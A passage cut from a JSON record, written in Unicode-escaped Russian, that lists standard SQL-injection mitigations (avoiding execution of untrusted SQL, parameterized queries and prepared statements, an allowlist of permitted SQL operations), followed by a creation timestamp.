\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0438 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0438\u0437 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439;\n- \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0445 SQL-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439.", "creation_timestamp": "2026-07-30T00:00:28.098494Z"}]}